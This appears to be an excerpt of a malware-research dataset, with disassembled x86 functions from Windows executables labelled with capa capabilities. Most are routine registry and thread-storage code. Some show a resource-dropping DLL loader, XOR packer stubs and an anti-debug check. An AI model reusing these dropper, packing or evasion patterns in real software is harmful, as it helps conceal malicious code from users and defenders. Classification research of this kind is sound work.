joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43a7d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
xor edi, edi
mov dword [ecx + 0x9c], edi
cmp dword [str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer], edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
mov ebx, 0x456e24
je 0x43a88c
push esi
lea eax, [ebp - 4]
push eax
push 1
push edi
push dword [ebx]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x43a874
mov esi, dword [ebx + 4]
jmp 0x43a86e
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x43a85e
cmp dword [ebp - 0xc], 4
jne 0x43a85e
cmp dword [ebp - 8], edi
mov eax, dword [ebp - 0x10]
mov ecx, dword [esi + 4]
je 0x43a856
or dword [eax + 0x9c], ecx
jmp 0x43a85e
not ecx
and dword [eax + 0x9c], ecx
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
add esi, 8
mov eax, dword [esi]
cmp eax, edi
jne 0x43a822
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 8
cmp dword [ebx], edi
mov dword [ebp - 4], edi
jne 0x43a805
pop esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
inc eax
pop ebx
leave
ret

Function at 0x43ac49
Capabilities:
Query or enumerate registry key

Disassembly:
mov eax, 0x43da2a
call fcn.0042117c
sub esp, 0x220
mov eax, dword [0x4579bc]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x228]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov esi, eax
test esi, esi
jne 0x43ad42
push 0x104
lea eax, [ebp - 0x220]
push eax
push 0
push dword [ebp - 0x228]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov esi, eax
test esi, esi
jne 0x43ad16
and dword [ebp - 4], eax
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x224]
call fcn.004163c2
lea eax, [ebp - 0x224]
push eax
push dword [ebp - 0x228]
mov byte [ebp - 4], 1
call fcn.0043ac49
mov ecx, dword [ebp - 0x224]
mov esi, eax
test esi, esi
setne bl
add ecx, 0xfffffff0
mov byte [ebp - 4], 0
call fcn.00402d20
test bl, bl
jne 0x43ad16
or dword [ebp - 4], 0xffffffff
jmp 0x43ac87
cmp esi, 0x103
je 0x43ad26
cmp esi, 0x3f2
jne 0x43ad36
mov eax, dword [ebp + 0xc]
push dword [eax]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov esi, eax
push dword [ebp - 0x228]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov eax, esi
call fcn.0042110b
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x43b1a8
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [esp + 0x10]
test edi, edi
jle 0x43b1dd
cmp edi, dword [esi + 0xc]
jge 0x43b1dd
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x43b1dd
cmp edi, dword [eax + 8]
jge 0x43b1dd
mov eax, dword [eax + 0xc]
mov edi, dword [eax + edi*4]
jmp 0x43b1df
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
ret 4

Function at 0x43b2e3
Capabilities:
Allocate thread local storage

Disassembly:
xor eax, eax
push esi
mov esi, ecx
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x18], 4
mov dword [esi + 4], eax
mov dword [esi + 8], 1
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x43b317
jmp fcn.004305f5
lea eax, [esi + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
ret

Function at 0x43b388
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x1c]
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
xor ebx, ebx
cmp eax, ebx
jle 0x43b481
cmp eax, dword [edi + 0xc]
jge 0x43b481
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
cmp esi, ebx
je 0x43b3d9
mov ecx, dword [ebp + 8]
cmp ecx, dword [esi + 8]
jl 0x43b46a
cmp dword [ebp + 0xc], ebx
je 0x43b46a
jmp 0x43b403
push 0x10
call fcn.0043b074
cmp eax, ebx
je 0x43b3ef
mov ecx, eax
call fcn.0043b2da
mov esi, eax
jmp 0x43b3f1
xor esi, esi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x18]
mov dword [esi + eax], ecx
mov dword [edi + 0x14], esi
mov eax, dword [esi + 0xc]
cmp eax, ebx
jne 0x43b41a
mov eax, dword [edi + 0xc]
shl eax, 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x43b42a
mov ecx, dword [edi + 0xc]
push 2
shl ecx, 2
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
cmp eax, ebx
jne 0x43b43c
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.004305f5
mov ecx, dword [esi + 8]
mov dword [esi + 0xc], eax
mov edx, dword [edi + 0xc]
sub edx, ecx
shl edx, 2
push edx
lea eax, [eax + ecx*4]
push ebx
push eax
call fcn.0041fa10
mov eax, dword [edi + 0xc]
add esp, 0xc
push esi
mov dword [esi + 8], eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 0xc]
cmp eax, ebx
je 0x43b47c
cmp ecx, dword [esi + 8]
jge 0x43b47c
mov edx, dword [ebp + 0xc]
mov dword [eax + ecx*4], edx
push dword [ebp - 4]
jmp 0x43b482
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x43b540
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x43b56e
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x43b58c
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0043b4aa
jmp 0x43b58c
mov eax, dword [esi + 0x14]
test eax, eax
je 0x43b58c
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0043b4aa
test edi, edi
mov eax, edi
jne 0x43b576
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x45ba48]
test ecx, ecx
je 0x43b63f
jmp 0x43b53f
ret 8
Function at 0x401037
Capabilities:
Delete file
Extract resource via kernel32 functions
Get common file path

Disassembly:
call 0x401037
push 0
call sub.kernel32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffbf4
push esi
push edi
push ebx
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x403030], eax
mov dword [ebp - 8], 0
push 0xa
push section..data
push 0
call sub.kernel32.dll_FindResourceA
or eax, eax
je 0x401089
mov dword [ebp - 4], eax
push dword [ebp - 4]
push 0
call sub.kernel32.dll_SizeofResource
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
push 0
call sub.kernel32.dll_LoadResource
or eax, eax
je 0x401089
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4010c1
push 4
push 0x1000
push dword [ebp - 0xc]
push 0
call sub.kernel32.dll_VirtualAlloc
mov edi, eax
push dword [ebp - 0xc]
push dword [ebp - 8]
push edi
call sub.kernel32.dll_RtlMoveMemory
mov dword [ebp - 8], edi
push 0xdeadbeef
push dword [ebp - 0xc]
push dword [ebp - 8]
call section..text
cmp dword [ebp - 8], 0
je 0x4010fb
lea eax, [ebp - 0x40c]
push eax
push 0x400
call sub.kernel32.dll_GetTempPathA
push str.dup2patcher.dll
lea eax, [ebp - 0x40c]
push eax
call sub.kernel32.dll_lstrcatA
push dword [ebp - 0xc]
push dword [ebp - 8]
lea eax, [ebp - 0x40c]
push eax
call fcn.00401184
lea eax, [ebp - 0x40c]
push eax
call sub.kernel32.dll_LoadLibraryA
or eax, eax
je 0x401130
mov ebx, eax
push str.load_patcher
push ebx
call sub.kernel32.dll_GetProcAddress
or eax, eax
je 0x40111e
call eax
push ebx
call sub.kernel32.dll_FreeLibrary
lea eax, [ebp - 0x40c]
push eax
call sub.kernel32.dll_DeleteFileA
pop ebx
pop edi
pop esi
leave
ret

Function at 0x401184
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
jne 0x4011af
xor eax, eax
leave
ret 0xc
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_FlushFileBuffers
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 8]
leave
ret 0xc

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x4be34cf5
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x4aa43fa7
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x434d20
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x43f4f8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor esi, esi
push 0xffffffffffffffff
mov dword [ebp - 4], esi
call dword [sym.imp.USER32.dll_AllowSetForegroundWindow]
call fcn.004010f0
test al, al
jne 0x40107c
lea eax, [ebp - 0x11]
push eax
call fcn.00401880
push 3
push esi
push esi
push str.http:__go.gmx.net_tb_ie_taskbarsearch
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov esi, 0xa0c80008
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x40107c
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x401ac0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x434930
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push ebx
push esi
push edi
mov eax, dword [0x43f4f8]
xor eax, esp
push eax
lea eax, [esp + 0x40]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp dword [eax + 0x14], 8
mov dword [eax + 0x10], ecx
jb 0x401afe
mov eax, dword [eax]
xor edx, edx
mov word [eax], dx
mov byte [esp + 0x17], cl
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], ecx
mov dword [esp + 0x28], ecx
push 0x80000002
lea eax, [esp + 0x24]
push eax
lea eax, [edx + 1]
mov ebx, str.SOFTWAREMicrosoftInternet_Explorer
mov dword [esp + 0x50], ecx
call fcn.004092f0
xor ebx, ebx
test eax, eax
jne 0x401be3
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x18]
push ecx
push ebx
lea edx, [esp + 0x24]
push edx
push ebx
push edi
push eax
mov dword [esp + 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, ebx
jne 0x401be3
mov eax, dword [esp + 0x1c]
cmp eax, 1
je 0x401b6a
cmp eax, 2
jne 0x401be3
mov eax, dword [esp + 0x18]
shr eax, 1
mov dword [esp + 0x18], eax
mov byte [esp + 0x17], 1
cmp eax, 1
jbe 0x401be3
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
lea esi, [esp + 0x2c]
mov byte [esp + 0x48], 1
call fcn.00401cb0
mov esi, dword [esp + 0x2c]
push edi
lea ecx, [esp + 0x24]
push ecx
lea edi, [esp + 0x20]
call fcn.00408b30
test eax, eax
jne 0x401bd6
mov eax, dword [esp + 0x18]
cmp eax, 1
jbe 0x401bd6
lea esi, [esp + 0x2c]
call fcn.00401cb0
mov eax, dword [esp + 0x30]
mov esi, dword [esp + 0x2c]
add eax, 0xfffffffe
push eax
mov eax, dword [ebp + 8]
push esi
call fcn.00402110
cmp esi, ebx
je 0x401be3
push esi
call fcn.0040ead6
add esp, 4
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x401bf2
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [esp + 0x17]
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401ec0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43442b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x43f4f8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.0040beb7
push 4
mov dword [ebp - 4], 0
call fcn.0040ee62
mov edi, eax
add esp, 4
test edi, edi
je 0x401f3c
call fcn.0040c1c7
mov dword [edi], eax
call fcn.0040bf86
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0040be78
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x401f32
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0040bea0
jmp 0x401f3e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x402500
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x434ae8
mov eax, dword fs:[0]
push eax
sub esp, 0x60
push ebx
push esi
mov eax, dword [0x43f4f8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edx, dword [eax + 0x3c]
mov esi, dword [eax + 0x10]
mov ecx, dword [eax + 0x40]
mov dword [esi], edx
mov esi, dword [eax + 0x20]
mov dword [esi], edx
sub ecx, edx
mov edx, dword [eax + 0x30]
push eax
lea eax, [ebp - 0x68]
sar ecx, 1
push eax
mov dword [edx], ecx
call fcn.00402830
xor ebx, ebx
mov dword [ebp - 4], ebx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ecx + 4]
and dword [ebp + eax - 0x54], 0xfffffffe
mov edx, dword [ebp - 0x68]
lea eax, [ebp + eax - 0x68]
mov eax, dword [edx + 4]
lea eax, [ebp + eax - 0x68]
mov dword [eax + 0x18], 6
mov dword [eax + 0x1c], ebx
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x68]
push ecx
call fcn.004028e0
mov edx, dword [eax]
mov ecx, dword [edx + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
and al, 6
movsx edx, al
neg edx
sbb edx, edx
not edx
test ecx, edx
je 0x4025b0
lea eax, [ebp - 0x68]
push eax
call fcn.00402ac0
mov ecx, 0xffff
cmp ax, cx
jne 0x4025b0
mov bl, 1
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x68]
mov eax, dword [edx + 4]
lea ecx, [ebp - 0x58]
mov dword [ebp + eax - 0x68], vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
push ecx
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.0040bdd5
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x408b30
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [edi]
lea ecx, [ebp - 4]
push ecx
mov ecx, dword [ebp + 8]
push esi
add eax, eax
lea edx, [ebp + 0xc]
push edx
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push 0
mov dword [edi], 0
mov edx, dword [ecx]
push eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x408b9e
mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x408b6d
cmp eax, 2
jne 0x408b88
mov eax, dword [ebp - 4]
test esi, esi
je 0x408b98
test eax, eax
je 0x408b93
test al, 1
jne 0x408b88
mov ecx, eax
shr ecx, 1
cmp word [esi + ecx*2 - 2], 0
je 0x408b98
mov eax, 0xd
mov esp, ebp
pop ebp
ret 8
xor edx, edx
mov word [esi], dx
shr eax, 1
mov dword [edi], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x40d4c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x433140
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x43f4f8]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], esi
mov dword [esi + 4], 0
push 0x4362b4
lea ecx, [esp + 0x10]
mov dword [esp + 0x3c], 0
mov dword [esi], vtable.std::codecvt_wchar_t__char__int_.0
call fcn.00408150
mov byte [esp + 0x38], 1
call fcn.0040c3d5
lea ecx, [esp + 0xc]
mov dword [esi + 8], eax
mov dword [esi + 0xc], edx
mov byte [esp + 0x38], 0
call fcn.00408220
mov dword [esi], vtable.windows_file_codecvt.0
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x34
ret

Function at 0x40da00
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag

Disassembly:
push 0xffffffffffffffff
push 0x433270
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x43f4f8]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
mov eax, dword [0x43f4f8]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
mov ecx, dword [esp + 0x40]
mov eax, 7
xor edx, edx
mov dword [esi + 0x14], eax
mov dword [esi + 0x10], 0
mov dword [esp + 0xc], esi
mov word [esi], dx
mov dword [esp + 0x24], eax
xor eax, eax
mov word [esp + 0x10], ax
mov eax, ecx
mov dword [esp + 0x38], edx
mov dword [esp + 0x20], edx
lea ebx, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x40da66
sub eax, ebx
sar eax, 1
push eax
push ecx
lea ecx, [esp + 0x18]
call fcn.00408d10
mov byte [esp + 0x38], 1
call fcn.0040d970
mov eax, dword [eax]
push eax
lea ecx, [esp + 0x14]
push esi
push ecx
call fcn.00402300
add esp, 0xc
cmp dword [esp + 0x24], 8
jb 0x40daaf
mov edx, dword [esp + 0x10]
push edx
call fcn.0040ead6
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0040eae1
add esp, 0x30
ret 8

Function at 0x40eae1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43f4f8]
jne 0x40eaeb
repz ret
jmp fcn.00412e9b
Function at 0x41a9eb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x43f4f8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00413fca
and dword [ebp - 0x14], 0
cmp dword [0x442668], 0
mov dword [ebp - 0x18], eax
jne 0x41aa9e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41ab46
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41ab46
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x442668], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x44266c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x442670], eax
call edi
push eax
call esi
mov dword [0x442678], eax
test eax, eax
je 0x41aa9e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x442674], eax
mov eax, dword [0x442674]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41aaf7
cmp dword [0x442678], ecx
je 0x41aaf7
push eax
call esi
push dword [0x442678]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41aaf7
test ebx, ebx
je 0x41aaf7
call edi
test eax, eax
je 0x41aaee
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41aaee
test byte [ebp - 8], 1
jne 0x41aaf7
or dword [ebp + 0x10], 0x200000
jmp 0x41ab2a
mov eax, dword [0x44266c]
cmp eax, dword [ebp - 0x18]
je 0x41ab2a
push eax
call esi
test eax, eax
je 0x41ab2a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41ab2a
mov eax, dword [0x442670]
cmp eax, dword [ebp - 0x18]
je 0x41ab2a
push eax
call esi
test eax, eax
je 0x41ab2a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x442668]
call esi
test eax, eax
je 0x41ab46
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41ab48
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040eae1
leave
ret
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x3ffe5027
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x37575be6
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219